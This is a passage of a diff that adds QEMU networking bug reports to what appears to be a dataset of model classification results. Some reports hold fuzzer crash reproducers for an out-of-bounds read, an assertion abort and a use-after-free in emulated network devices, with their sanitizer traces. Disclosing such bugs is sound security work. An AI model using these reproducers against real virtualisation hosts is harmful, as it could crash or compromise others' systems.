rcu_dump_cpu_stacks+0xa4/0xe0 +[ 46.187522] ? rcu_sched_clock_irq.cold+0xe8/0x459 +[ 46.187522] ? update_load_avg+0x7e/0x780 +[ 46.187522] ? sched_slice+0x87/0x140 +[ 46.187522] ? timekeeping_update+0xdd/0x130 +[ 46.187522] ? timekeeping_advance+0x377/0x570 +[ 46.187522] ? update_process_times+0x70/0xb0 +[ 46.187522] ? tick_sched_handle+0x22/0x60 +[ 46.187522] ? tick_sched_timer+0x63/0x80 +[ 46.187522] ? tick_sched_do_timer+0xa0/0xa0 +[ 46.187522] ? __hrtimer_run_queues+0x112/0x2b0 +[ 46.187522] ? hrtimer_interrupt+0xf4/0x210 +[ 46.187522] ? __sysvec_apic_timer_interrupt+0x5d/0x110 +[ 46.187522] ? sysvec_apic_timer_interrupt+0x69/0x90 +[ 46.187522] </IRQ> +[ 46.187522] <TASK> +[ 46.187522] ? asm_sysvec_apic_timer_interrupt+0x16/0x20 +[ 46.187522] ? virtqueue_get_buf_ctx_split+0x94/0xd0 [virtio_ring] +[ 46.187522] virtnet_send_command+0x18e/0x1e0 [virtio_net] +[ 46.187522] virtnet_set_rx_mode+0xd4/0x2d0 [virtio_net] +[ 46.187522] __dev_open+0x12b/0x1a0 +[ 46.187522] __dev_change_flags+0x1d2/0x240 +[ 46.187522] dev_change_flags+0x22/0x60 +[ 46.187522] do_setlink+0x37c/0x12b0 +[ 46.187522] ? __nla_validate_parse+0x61/0xc00 +[ 46.187522] __rtnl_newlink+0x623/0x9e0 +[ 46.187522] ? __kmem_cache_alloc_node+0x191/0x2a0 +[ 46.187522] rtnl_newlink+0x43/0x70 +[ 46.187522] rtnetlink_rcv_msg+0x14e/0x3b0 +[ 46.187522] ? __kmem_cache_alloc_node+0x191/0x2a0 +[ 46.187522] ? __alloc_skb+0x88/0x1a0 +[ 46.187522] ? rtnl_calcit.isra.0+0x140/0x140 +[ 46.187522] netlink_rcv_skb+0x51/0x100 +[ 46.187522] netlink_unicast+0x24a/0x390 +[ 46.187522] netlink_sendmsg+0x250/0x4c0 +[ 46.187522] __sock_sendmsg+0x5f/0x70 +[ 46.187522] ____sys_sendmsg+0x277/0x2f0 +[ 46.187522] ? copy_msghdr_from_user+0x7d/0xc0 +[ 46.187522] ___sys_sendmsg+0x9a/0xe0 +[ 46.187522] __sys_sendmsg+0x76/0xc0 +[ 46.187522] do_syscall_64+0x5b/0xc0 +[ 46.187522] ? exit_to_user_mode_prepare+0x40/0x1e0 +[ 46.187522] ? syscall_exit_to_user_mode+0x27/0x40 +[ 46.187522] ? do_syscall_64+0x67/0xc0 +[ 46.187522] ? do_user_addr_fault+0x1b0/0x580 +[ 46.187522] ? exit_to_user_mode_prepare+0x40/0x1e0 +[ 46.187522] entry_SYSCALL_64_after_hwframe+0x64/0xce +[ 46.187522] RIP: 0033:0x7f11d1811af0 +[ 46.187522] Code: 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 66 2e 0f 1f 84 00 00 00 00 00 90 80 3d f1 fa 0c 00 00 74 17 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 58 c3 0f 1f 80 00 00 00 00 48 83 ec 28 89 54 +[ 46.187522] RSP: 002b:00007ffe21b533a8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e +[ 46.187522] RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 00007f11d1811af0 +[ 46.187522] RDX: 0000000000000000 RSI: 00007ffe21b53410 RDI: 0000000000000003 +[ 46.187522] RBP: 0000000000000003 R08: 0000000065c07b57 R09: 00005580e154e2a0 +[ 46.187522] R10: 00007ffe21b52e34 R11: 0000000000000202 R12: 0000000065c07b58 +[ 46.187522] R13: 00005580e016e020 R14: 0000000000000001 R15: 0000000000000000 +[ 46.187522] </TASK> +``` +Steps to reproduce: +1. Create the following nested passthrough configuration +2. Attempt to configure the L1 network hostdev interface inside the L2 guest + +Any attempt will cause the kernel panics documented. +Additional information: +# diff --git a/results/classifier/gemma3:12b/network/218 b/results/classifier/gemma3:12b/network/218 new file mode 100644 index 000000000..c115db6eb --- /dev/null +++ b/results/classifier/gemma3:12b/network/218 @@ -0,0 +1,2 @@ + +qemu-storage-daemon --nbd-server fails with "too many connections" error diff --git a/results/classifier/gemma3:12b/network/2182 b/results/classifier/gemma3:12b/network/2182 new file mode 100644 index 000000000..f4f63bdd9 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2182 @@ -0,0 +1,2 @@ + +Replication and Network diff --git a/results/classifier/gemma3:12b/network/2189 b/results/classifier/gemma3:12b/network/2189 new file mode 100644 index 000000000..f05e79abb --- /dev/null +++ b/results/classifier/gemma3:12b/network/2189 @@ -0,0 +1,15 @@ + +vhost_user:When configure queues of vhost-user NIC exceeds max_queues, the virtual machine is always paused +Description of problem: +When the virtual machine uses the vhost-user network card and sets the queue number of the network card to exceed the maximum number of supported queues, the virtual machine fails to start and stays in the paused state. +And the virtual machine log file kept print "qemu - system - x86_64: -netdev host-user,chardev=charnet0,queues=5,id=hostnet0:you are asking more queues than supported:4” +Steps to reproduce: +1.Configure vhost-user network cards for VMS and use multiple queues. +2.The number of NIC queues configured in the VM xml file is greater than the maximum number of queues supported by the VM, that is, the number of Vcpus on the VM. +3.Execute "virsh create VM_xml_file" cmd to start VM. +Additional information: +According to normal logic, if the number of configured vhost-user NIC queues exceeds max-queues, the qemu process should be stopped, rather than paused the virtual machine. +I am confused about this patch:https://github.com/qemu/qemu/commit/c89804d674e4e3804bd3ac1fe79650896044b4e8 +The process will remain in the do...while loop, when vhost_user_start is called in net_vhost_user_event, if queues > max_queues in vhost_user_start. +/label ~"kind::Bug" +``` diff --git a/results/classifier/gemma3:12b/network/2239 b/results/classifier/gemma3:12b/network/2239 new file mode 100644 index 000000000..037cd85e4 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2239 @@ -0,0 +1,2 @@ + +Legacy system requirments: iptables diff --git a/results/classifier/gemma3:12b/network/2268 b/results/classifier/gemma3:12b/network/2268 new file mode 100644 index 000000000..6a72d1466 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2268 @@ -0,0 +1,44 @@ + +Out of bounds access in smc91c111_readb() +Description of problem: +I detected an out-of-bounds access in smc91c111_readb with my fuzzer. + +Stack trace (part):\ +`hw/net/smc91c111.c:607:24: runtime error: index 175 out of bounds for`\ +`type 'uint8_t[4][2048]' (aka 'unsigned char[4][2048]')`\ +`SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior`\ +`hw/net/smc91c111.c:607:24 in`\ +`AddressSanitizer:DEADLYSIGNAL`\ +`==============================`<wbr>`==============================`<wbr>`=====`\ +`==397944==ERROR: AddressSanitizer: SEGV on unknown address`\ +`0x629000077db4 (pc 0x56272aed3b8d bp 0x7ffd1471f290 sp 0x7ffd1471ea20`\ +`T0)`\ +`==397944==The signal is caused by a READ memory access.`\ + `#0 0x56272aed3b8d in smc91c111_readb hw/net/smc91c111.c:607:24`\ + `#1 0x56272aecfd61 in smc91c111_readfn hw/net/smc91c111.c:650:16`\ + `#2 0x56272d4b228b in memory_region_read_accessor system/memory.c:445:11`\ + `#3 0x56272d46fb85 in access_with_adjusted_size system/memory.c:573:18`\ + `#4 0x56272d46c58e in memory_region_dispatch_read1 system/memory.c:1426:16`\ + `#5 0x56272d46bcd7 in memory_region_dispatch_read system/memory.c:1459:9`\ + `#6 0x56272d4e8e03 in flatview_read_continue_step system/physmem.c:2794:18`\ + `#7 0x56272d4e871e in flatview_read_continue system/physmem.c:2835:19`\ + `#8 0x56272d4e98b8 in flatview_read system/physmem.c:2865:12`\ + `#9 0x56272d4e9388 in address_space_read_full system/physmem.c:2878:18`\ + `#10 0x56272d6e7840 in address_space_read include/exec/memory.h:3026:18`\ +`...`\ +Bug analysis: I found s-\>packet_num = 175 at line 599. +Steps to reproduce: +Reproducer:\ +export QEMU_ARGS="-display none -machine accel=qtest, -m 512M -machine\ +mainstone"\ +cat \<\< EOF | ./qemu-system-arm $QEMU_ARGS -qtest /dev/null -qtest stdio\ +outl 0xcf8 0x80000010\ +outl 0xcfc 0x10000300\ +outl 0xcf8 0x80000004\ +outl 0xcfc 0x07\ +writel 0x1000030c 0x66027cd6\ +writel 0x10000300 0x64af8eda\ +readw 0x10000308\ +EOF +Additional information: +Ack: Chuhong Yuan (hslester96@gmail.com) diff --git a/results/classifier/gemma3:12b/network/2273 b/results/classifier/gemma3:12b/network/2273 new file mode 100644 index 000000000..bbdab4ad6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2273 @@ -0,0 +1,46 @@ + +Abort in net_tx_pkt_update_sctp_checksum() +Description of problem: +In the function _net_tx_pkt_update_sctp_checksum(),_ an abort happened: + +``` +qemu-fuzz-x86_64: ../../../third_party/qemu/util/iov.c:39: size_t iov_from_buf_full(const struct iovec *, unsigned int, size_t, const void *, size_t): Assertion `offset == 0' failed. +==1052929== ERROR: libFuzzer: deadly signal + #0 0x5575e5cccbe1 in __sanitizer_print_stack_trace llvm/compiler-rt/lib/asan/asan_stack.cpp:87:3 + #1 0x5575e5c479b8 in fuzzer::PrintStackTrace() llvm/compiler-rt/lib/fuzzer/FuzzerUtil.cpp:210:5 + #2 0x5575e5c2bbb3 in fuzzer::Fuzzer::CrashCallback() llvm/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:233:3 + #3 0x7f691f24251f (/lib/x86_64-linux-gnu/libc.so.6+0x4251f) + #4 0x7f691f2969fb in __pthread_kill_implementation nptl/./nptl/pthread_kill.c:43:17 + #5 0x7f691f2969fb in __pthread_kill_internal nptl/./nptl/pthread_kill.c:78:10 + #6 0x7f691f2969fb in pthread_kill nptl/./nptl/pthread_kill.c:89:10 + #7 0x7f691f242475 in gsignal signal/../sysdeps/posix/raise.c:26:13 + #8 0x7f691f2287f2 in abort stdlib/./stdlib/abort.c:79:7 + #9 0x7f691f22871a in __assert_fail_base assert/./assert/assert.c:92:3 + #10 0x7f691f239e95 in __assert_fail assert/./assert/assert.c:101:3 + #11 0x5575e81e952a in iov_from_buf_full qemu/util/iov.c:39:5 + #12 0x5575e6500768 in net_tx_pkt_update_sctp_checksum qemu/hw/net/net_tx_pkt.c:144:9 + #13 0x5575e659f3e1 in igb_setup_tx_offloads qemu/hw/net/igb_core.c:478:11 + #14 0x5575e659f3e1 in igb_tx_pkt_send qemu/hw/net/igb_core.c:552:10 + #15 0x5575e659f3e1 in igb_process_tx_desc qemu/hw/net/igb_core.c:671:17 + #16 0x5575e659f3e1 in igb_start_xmit qemu/hw/net/igb_core.c:903:9 + #17 0x5575e659f3e1 in igb_set_tdt qemu/hw/net/igb_core.c:2812:5 + #18 0x5575e657d6a4 in igb_core_write qemu/hw/net/igb_core.c:4248:9 +``` +Steps to reproduce: +Here's a simple PoC: + +``` +cat << EOF | \ +qemu-system-x86_64 \ +-display none -machine accel=qtest -m 512M -M q35 -nodefaults -device \ +igb,netdev=net0 -netdev user,id=net0 -qtest stdio +outl 0xcf8 0x80000810 +outl 0xcfc 0xe0000000 +outl 0xcf8 0x80000804 +outw 0xcfc 0x06 +write 0xe0000403 0x1 0x02 +writel 0xe0003808 0xffffffff +write 0xe000381a 0x1 0x5b +write 0xe000381b 0x1 0x00 +EOF +``` diff --git a/results/classifier/gemma3:12b/network/2351 b/results/classifier/gemma3:12b/network/2351 new file mode 100644 index 000000000..ded5d2af5 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2351 @@ -0,0 +1,16 @@ + +Raspberry Pi: Unable to start raspios bookworm +Description of problem: +I am able to start RaspiOS bullseye (2023-05-03-raspios-bullseye-arm64-lite) in both, the rpi3 and rpi4 configurations, by first extracting the DTB and the kernel from the downloaded image (see the command lines). + +When I attempt to start RaspiOS bookworm (2024-03-15-raspios-bookworm-arm64-lite), I only get the following messages on the host's terminal: + +``` +usbnet: failed control transaction: request 0x8006 value 0x600 index 0x0 length 0xa +usbnet: failed control transaction: request 0x8006 value 0x600 index 0x0 length 0xa +usbnet: failed control transaction: request 0x8006 value 0x600 index 0x0 length 0xa +``` + +[start-raspios.sh](/uploads/041fb113d1d0d920e52f3b11a9f51290/start-raspios.sh) +Steps to reproduce: +To reproduce, adapt the attached script, download the raspios images and run it. diff --git a/results/classifier/gemma3:12b/network/2352 b/results/classifier/gemma3:12b/network/2352 new file mode 100644 index 000000000..9aae8918b --- /dev/null +++ b/results/classifier/gemma3:12b/network/2352 @@ -0,0 +1,2 @@ + +spapr-vlan hotplug diff --git a/results/classifier/gemma3:12b/network/2362 b/results/classifier/gemma3:12b/network/2362 new file mode 100644 index 000000000..3afe64e39 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2362 @@ -0,0 +1,64 @@ + +short packets dropped by some network cards when using certain network backends +Description of problem: +Effectively a duplicate of https://gitlab.com/qemu-project/qemu/-/issues/2058 -- short ethernet packets (such as ARP packets) are discarded by various networking devices now. + +QEMU previously padded ethernet frames to 64 bytes when some network cards received them, but this was removed in various commits (140eae9c8f760e9260356fe9b56b802a02f0a9d2, c445f200ad241b443aa7a61a5381b26f56a18f0e, c58da33f2f8410b6f22cd1d33377dadf3a4d8867, 05db4476c5d25e437d807175de9f862bf5bf732c, 6d0d261dbfa6122e9b3bdcab7d934ca49f069c21, 63b901bfd30a0975bc326ba8527880fabac2e66, aee87b43fe2206acb8f5e334b42790df33a1cbad). + +969e50b61a285b0cc8dea6d4d2ade3f758d5ecc7 fixed SLIRP and TAP support, however the other various network backends (socket, dgram, vde, others) all have the same issue that some network cards will reject short packets. + +This does not fail on older versions of QEMU. +Steps to reproduce: +I have a python script that shows connecting two VMs of your choice using a socketpair connected to one of the affected NIC types (pcnet). If you start your OS (I used alpine linux as my test), and give each VM a unique IP address (eg, `ip addr add 192.168.0.1/24 dev eth0`), ping will fail to work. When you run tcpdump, you can see that the OS is sending out short ARP packets, but the other VM cannot see them. + +Using an older version of QEMU allows the ping to succeed. + +```python +#!/usr/bin/env python3 + +import argparse +import shlex +import socket +import subprocess + + +QEMU_PATH = "bin/qemu-system-x86_64" +NIC = "pcnet" +vnc = True + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("qcow") + args = parser.parse_args() + + p1, p2 = socket.socketpair() + + qargs1 = [ + QEMU_PATH, "-snapshot", + "-m", "2G", + "-drive", f"file={args.qcow}", + "-device", f"{NIC},netdev=n,mac=52:54:00:00:00:01", + "-netdev", f"socket,id=n,fd={p1.fileno()}" + ] + if vnc: + qargs1 += ["-display", "vnc=:2"] + + print("+", shlex.join(qargs1)) + proc1 = subprocess.Popen(qargs1, pass_fds=[p1.fileno()]) + + qargs2 = [ + QEMU_PATH, "-snapshot", + "-m", "2G", + "-drive", f"file={args.qcow}", + "-device", f"{NIC},netdev=n,mac=52:54:00:00:00:02", + "-netdev", f"socket,id=n,fd={p2.fileno()}" + ] + if vnc: + qargs2 += ["-display", "vnc=:3"] + + print("+", shlex.join(qargs2)) + proc2 = subprocess.Popen(qargs2, pass_fds=[p2.fileno()]) + + proc1.wait() + proc2.wait() +``` diff --git a/results/classifier/gemma3:12b/network/2364 b/results/classifier/gemma3:12b/network/2364 new file mode 100644 index 000000000..bfe64b73b --- /dev/null +++ b/results/classifier/gemma3:12b/network/2364 @@ -0,0 +1,2 @@ + +how to create two qemu instances on Windows11 so that they can access to each other in the same network? diff --git a/results/classifier/gemma3:12b/network/2370 b/results/classifier/gemma3:12b/network/2370 new file mode 100644 index 000000000..b50e6caec --- /dev/null +++ b/results/classifier/gemma3:12b/network/2370 @@ -0,0 +1,12 @@ + +[RFE] vde support on Windows +Additional information: +A vdeswitch approach can be yet another solution for #2364 . +On Windows, other methods to simultaneously bridge local qemu-VMs and allow bridge members to connect to the internet are troublesome. +Compared to MAC/Linux wherein who use kernel provided bridging. Windows users don't have it easy. + +**Ref**: +1. qemu manual for ```netdev vde``` + https://qemu.readthedocs.io/_/downloads/en/v8.2.1/pdf/#page=75 +2. virtualsquare/VDE-2 github bug Can't understand how to get it running on Windows10 64 bit ```#28``` + https://github.com/virtualsquare/vde-2/issues/28 diff --git a/results/classifier/gemma3:12b/network/2378 b/results/classifier/gemma3:12b/network/2378 new file mode 100644 index 000000000..c889c9b57 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2378 @@ -0,0 +1,29 @@ + +make install (meson?) removes needed RPATH for libslirp, making build on CentOS 9 difficult +Description of problem: +make install appears to remove need RPATH attributes from the binary, making it difficult if not impossible to install Qemu 9.0.0 on a CentOS 9 machine. + +I'm trying to build Qemu 9.0.0 on a CentOS 9 Stream machine where I do not have root. +The system ships with libslirp-4.4.0-7.el9.src.rpm which is libslirp 4.4.0, which is too old for Qemu. + +I checked out https://gitlab.freedesktop.org/slirp/libslirp.git which is 2 commits more recent than +libslirp 4.8.0. I installed this version in a separate directory. + +When I configure Qemu using PKG_CONFIG_PATH, it builds the correct executable with the correct RPATH. +readelf -d shows: + + 0x000000000000000f (RPATH) Library rpath: [/web/courses/cs4284/pintostools/lib64] + +which is the correct directory where the proper version of libslirp is located. + +However, when I run "make install" the RPATH attribute is removed. Thus, Qemu resorts to the system version, which is version 4.4 (with which Qemu won't run.) + +Meson's propensity to strip necessary RPATHs appears to be well-known, see, for instance, + +https://github.com/mesonbuild/meson/issues/4027 + +(There is a fix for at least some of the problems in 0.55.0 of Meson +https://mesonbuild.com/Release-notes-for-0-55-0.html +Qemu 9.0.0 appears to use Meson 1.2.3., but yet it still fails.) + +Work-around: don't use make install, copy it directly from the build directory to the destination directory. diff --git a/results/classifier/gemma3:12b/network/2409 b/results/classifier/gemma3:12b/network/2409 new file mode 100644 index 000000000..299852061 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2409 @@ -0,0 +1,2 @@ + +High CPU usage on network traffic on Apple laptops diff --git a/results/classifier/gemma3:12b/network/2433 b/results/classifier/gemma3:12b/network/2433 new file mode 100644 index 000000000..3700dd821 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2433 @@ -0,0 +1,225 @@ + +[TestCase] -object filter-redirector completely ignores linked bidirectional chardev, so encryption for netdev is broken +Description of problem: +If I form a wittingly broken network topology using -object filter-redirector and an encrypting bi-directional chardev linked to redirected traffic, the topology continues to function when it must not. See Fig.2. + +By "continues to function", I mean the two guest Windows XP from Fig.2 topology are able to see each other, join the same "MSHOME" workgroup, make shared folders which are mutually seen from each other and even send files to each other's shared folder! + +\ +Why do I consider Fig.2 a broken topology? It includes only one encrypting chardev, whereas a normal encrypted network topology must contain one encrypting and one decrypting chardev.\ +To form Fig.2 topology, follow "Steps to reproduce" section.\ +\ +At the same time, -object filter-redirector works perfectly if only uni-directional chardevs are used, see Fig.1 with corresponding commands to launch guest#1 qemu and guest#2 qemu. All network activities from previous paragraphs seem to function correctly both in Fig.1 and in Fig.2 + +If I put tls-creds=tls0, inside any "-chardev socket" switch in Fig.1 to make traffic encrypted without further decryption, local network between guests becomes broken (0 packets received), which is normal and expected behaviour.\ +\ +The end goal is to have netdev traffic encrypted. If anyone knows a workaround to encrypt netdev traffic on Windows hosts without installing crypto libs/drivers besides GnuTLS, please describe it in comments. + +*** Please note that some old broswers show Fig.1 and Fig.2 a little bit screwed. If so, please copy their source to Mousepad or Notepad - they must show topology correctly. And disable "Word Wrap" mode in your text editor, of course. *** + +``` + *********************** Fig. 1. Perfectly working network topology with uni-directional chardevs ************************* + + NOTE: rx:receive packets sent to the netdev + tx:receive packets sent by the netdev + First qemu Second qemu ++--------------------------------------------------------------------------------------------------+ +----------------------------------------+ +| | | | +| +----------------------------------------------------------------------------------------+ | | +------------------------------+ | +| | Guest Windows XP #1: | | | | Guest Windows XP #2: | | +| | | | | | | | +| | 169.254.144.98 IP, | | | | 169.254.144.99 IP, | | +| | 255.255.0.0 Net mask, | | | | 255.255.0.0 Net mask, | | +| | Gateway empty, | | | | Gateway empty, | | +| | DNS server empty, | | | | DNS server empty, | | +| | WINS server empty, | | | | WINS server empty, | | +| | DHCP off | | | | DHCP off | | +| +----------------------------------------------------------------------------------------+ | | +------------------------------+ | +| ^ | | | ^ | | +| | all | | | | | | +| | V | | | | | +| +--------------+ | | | | | +| | | | | | | | +| indev | filter | outdev | | | | | +| +-----> redirector >-------+ | | | | | +| | | | | | | | | | +| | | queue=all | | | | | | | +| | +--------------+ | | | | | | +| | | | | | | | +| +------------+ +------------+ | | | | | +| | | | | | | | +| +------------------+ +------------------+ | | +-------------------+ +------------------+ | | | | | +| | :9001 | | :9001 | | | | :9002 | | :9002 | | | | | | +| | uni-directional | | uni-directional | | | | uni-directional | | uni-directional | | | | all | | +| +-> chardev |->| chardev >-+ +-> chardev |->| chardev >-+ | | | | | +| | | | | | | | | | | | | | | | +| | | id=tx_in | |id=tx_out_to_guest| |id=rx_in_from_guest| | id=rx_out | | | | | | | +| | | server=on | | | | | | server=on | | | | | | | +| | +------------------+ +------------------+ +-------------------+ +------------------+ | | | | | | +| | | | | | | | +| | | | | | | | +| | +----------------+ +----------------+ | | | | | | +| | | | | | | | | | | | +| | | filter | | filter | | | | | | | +| +-----------------------< redirector | | redirector <------------------------+ | | | | | +| outdev | | | | indev | | | | | +| | queue=tx | | queue=rx | | | | | | +| +--------+-------+ +--------+-------+ | | | | | +| | | | | | | | +| | | | | | V | +| +--------------------------------^---------------------------V-----------------------------+ | | +--------------------------------+ | +| |==========================================================================================|------------->|================================| | +| | | | | | | | | | +| | netdev | mac=52:54:00:12:34:56 |7001:: ::7001| netdev | mac=52:54:00:12:34:57 | | +| | | | | | | | | | +| | | |<-------------| | | | +| +------------------------------------------------------------------------------------------+ | | +--------------------------------+ | +| | | | ++--------------------------------------------------------------------------------------------------+ +----------------------------------------+ + +Command to run Guest Windows XP #1 from Fig.1: + qemu-system-i386.exe \ + -accel tcg \ + -m 256M \ + -cpu Westmere \ + -hda d:\xp1.qcow2 \ + -usb -device usb-tablet \ + -netdev socket,id=net0,listen=localhost:7001 \ + -device rtl8139,netdev=net0,mac=52:54:00:12:34:56 \ + -chardev socket,id=tx_in,host=127.0.0.1,port=9001,server=on,wait=off \ + -chardev socket,id=tx_out_to_guest,host=127.0.0.1,port=9001 \ + -chardev socket,id=rx_out,host=127.0.0.1,port=9002,server=on,wait=off \ + -chardev socket,id=rx_in_from_guest,host=127.0.0.1,port=9002 \ + -object filter-redirector,netdev=net0,queue=tx,outdev=tx_in,id=tx1 \ + -object filter-redirector,netdev=net0,queue=rx,indev=rx_out,id=rx1 \ + -object filter-redirector,netdev=net0,queue=all,outdev=rx_in_from_guest,indev=tx_out_to_guest,id=inner_redirector + +Command to run Guest Windows XP #2 from Fig.1: + qemu-system-i386.exe + -accel tcg \ + -m 256M \ + -cpu Westmere \ + -hda d:\xp2.qcow2 \ + -usb -device usb-tablet \ + -netdev socket,id=net1,connect=localhost:7001 \ + -device rtl8139,netdev=net1,mac=52:54:00:12:34:57 + + + *********************** Fig. 2. Erroneously working network topology, despite encrypting bi-directional chardev ************************* + + NOTE: queue=rx:receive packets sent to the netdev + queue=tx:receive packets sent by the netdev + queue=all:receive packets sent by and to the netdev (both directions) + + First qemu Second qemu ++--------------------------------------------------------------------------------------------------+ +----------------------------------------+ +| | | | +| +----------------------------------------------------------------------------------------+ | | +------------------------------+ | +| | Guest Windows XP #1: | | | | Guest Windows XP #2: | | +| | | | | | | | +| | 169.254.144.98 IP, | | | | 169.254.144.99 IP, | | +| | 255.255.0.0 Net mask, | | | | 255.255.0.0 Net mask, | | +| | Gateway empty, | | | | Gateway empty, | | +| | DNS server empty, | | | | DNS server empty, | | +| | WINS server empty, | | | | WINS server empty, | | +| | DHCP off | | | | DHCP off | | +| +----------------------------------------------------------------------------------------+ | | +------------------------------+ | +| ^ | | | ^ | | +| | all | | | | | | +| | V | | | | | +| +-------------------+ | | | | | +| | | | | | | | +| +------>| filter | | | | | | +| | | redirector | | | | | | +| | +--<| | | | | | | +| | | | queue=all | | | | | | +| | | |id=inner_redirector| | | | | | +| | | +-----------V-------+ | | | | | +| | | | indev | | | | | +| | | | | | | | | +| | | | | | | | | +| | | +----------V-------+ +-----------------------+ | | | | | +| | | | :9001 | | | | | | | | +| | | | bi-directional | | -object tls-creds-psk | | | | | | +| | | |encrypting chardev| | | | | | | | +| | | | |---->| | | | | | | +| | | | tls-creds=tls0 | | id=tls0 | | | | | | +| | | | id=inner_chardev | | endpoint=server | | | | | | +| | | | server=on | | | | | | | | +| | | +------------------+ +-----------------------+ | | | | | +| | | | | | | | +| | | | | | | | +| ^ V | | | V | +| +------------------------------------------------------------------------------------------+ | | +--------------------------------+ | +| |==========================================================================================|------------->|================================| | +| | | | | | | | | | +| | netdev | mac=52:54:00:12:34:56 |7001:: ::7001| netdev | mac=52:54:00:12:34:57 | | +| | | | | | | | | | +| | | |<-------------| | | | +| +------------------------------------------------------------------------------------------+ | | +--------------------------------+ | +| | | | ++--------------------------------------------------------------------------------------------------+ +----------------------------------------+ +``` +Steps to reproduce: +1. Download official GnuTLS .zip for windows from https://www.gnutls.org/download.html and extract it. +2. Download and install official QEMU 9.0 from https://qemu.weilnetz.de/w64/qemu-w64-setup-20240423.exe +3. Open command prompt, navigate to the folder with psktool.exe from Step 1. +4. Run this command: "psktool -u qemu_user -p keys.psk" +5. Run first guest Windows XP with the command described in "QEMU command line" section above, replacing "dir=C:\\Downloads" with path to keys.psk, like this: "dir=C:\\path_to_keys_dot_psk" (without filename itself) +6. Run second guest Windows XP with the following command: `qemu-system-i386.exe -accel tcg -m 256M -cpu Westmere -hda d:\\xp2.qcow2 -usb -device usb-tablet -netdev socket,id=net1,connect=localhost:7001 -device rtl8139,netdev=net1,mac=52:54:00:12:34:57` +Additional information: +Yes, I know Qemu on Linux hosts is able to encrypt netdev traffic with the aid of `-netdev vhost-user,id=net0,chardev=chr0`\ +But `-netdev vhost-user,id=net0,chardev=chr0` is not officially supported by Qemu on Windows hosts.\ +\ +If I run this command in one command prompt instance:\ +`qemu-system-i386.exe -accel tcg -m 256M -object tls-creds-psk,id=tls0,endpoint=server,dir=C:\Downloads -chardev socket,id=chr0,port=7001,host=127.0.0.1,tls-creds=tls0,server=on -netdev vhost-user,id=net0,chardev=chr0 -device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56`\ +\ +And this one in another instance\ +`gnutls-cli.exe --priority=NORMAL -p 7001 --pskusername=pskusername_from_keys_psk_file --pskkey=pskkeyhash_from_keys_psk_file 127.0.0.1`\ +\ +I see this:\ +`qemu-system-i386.exe: -netdev vhost-user,id=net0,chardev=chr0: network backend 'vhost-user' is not compiled into this binary`\ +\ +Testcase: + +<details> + +static void test_redirector_incomplete_bidirectional_topology_connectionError(void)\ +{\ +//prepare keys.psk\ +FILE \*fileAddress;\ +fileAddress = fopen("/home/keys.psk", "w");\ +char content\[50\] = "deadbeefname:deadbeefkey";\ +int i;\ +int len = strlen(content);\ +\ +if (fileAddress != NULL) {\ +for (i = 0; i \< len; i++) {\ +fputc (content\[i\], fileAddress);\ +}\ +fclose(fileAddress); \ +}\ +else {\ +return -1;\ +}\ +\ +\ +QTestState \*qts0;\ +char \*expect;\ +\ +qts0 = qtest_initf("-netdev socket,id=net0,listen=localhost:7001 "\ +"-device rtl8139,netdev=net0,mac=52:54:00:12:34:56 "\ +"-object filter-redirector,netdev=net0,queue=all,indev=inner_chardev,id=inner_redirector"\ +"-chardev socket,id=inner_chardev,host=127.0.0.1,port=9001,tls-creds=tls0,server=on,wait=off"\ +"-object tls-creds-psk,id=tls0,endpoint=server,dir=/home/");\ +\ +expect = g_strdup_printf("st0: index=0,type=socket,connection error\\r\\n");\ +\ +EXPECT_STATE(qts0, expect, 0);\ +\ +g_free(expect);\ +\ +qtest_quit(qts0);\ +} + +</details> diff --git a/results/classifier/gemma3:12b/network/2440 b/results/classifier/gemma3:12b/network/2440 new file mode 100644 index 000000000..87a51d336 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2440 @@ -0,0 +1,113 @@ + +virtio-net: Use-After-Free during unrealization of virtio-net +Description of problem: +When hotplugging `virtio-net` device, mishandling of `failover` option may leads to use-after-free. +More specifically, if we try to hotplug virtio-net device with `failover=on` and other invalid option (e.g. `rx_queue_size=0`), the device listner callback is registered but not unregistered before being freed, leading to UAF. +Steps to reproduce: +```sh +cat <<EOF | qemu-system-i386 -M q35 -nodefaults -chardev stdio,id=char0 -mon char0 -device pcie-pci-bridge,id=br1,bus=pcie.0 +device_add virtio-net,failover=on,rx_queue_size=0,bus=br1,id=dev0 +device_add virtio-net,failover=on,bus=br1,id=dev0 +quit +EOF +``` + +If above command is not working, let me know so that I provide more information. +Additional information: +The following log leveals bug location: + +```sh +$ cat <<EOF | qemu-system-i386 -M q35 -nodefaults -chardev stdio,id=char0 -mon char0 -device pcie-pci-bridge,id=br1,bus=pcie.0 +device_add virtio-net,failover=on,rx_queue_size=0,bus=br1,id=dev0 +device_add virtio-net,failover=on,bus=br1,id=dev0 +quit +EOF +==836681==WARNING: ASan doesn't fully support makecontext/swapcontext functions and may produce false positives in some cases! +QEMU 8.1.93 monitor - type 'help' for more information +VNC server running on 127.0.0.1:5900 +(qemu) device_add virtio-net,failover=on,rx_queue_size=0,bus=br1,id=dev0 +Error: Invalid rx_queue_size (= 0), must be a power of 2 between 256 and 1024. +(qemu) device_add virtio-net,failover=on,bus=br1,id=dev0 +================================================================= +==836681==ERROR: AddressSanitizer: heap-use-after-free on address 0x62e00000ab58 at pc 0x5577bbb8fe22 bp 0x7ffeb03fca50 sp 0x7ffeb03fca48 +READ of size 8 at 0x62e00000ab58 thread T0 + #0 0x5577bbb8fe21 in qdev_should_hide_device /home/XXX/qemu/build/../hw/core/qdev.c:233:23 + #1 0x5577bb14aac4 in qdev_device_add_from_qdict /home/XXX/qemu/build/../system/qdev-monitor.c:662:9 + #2 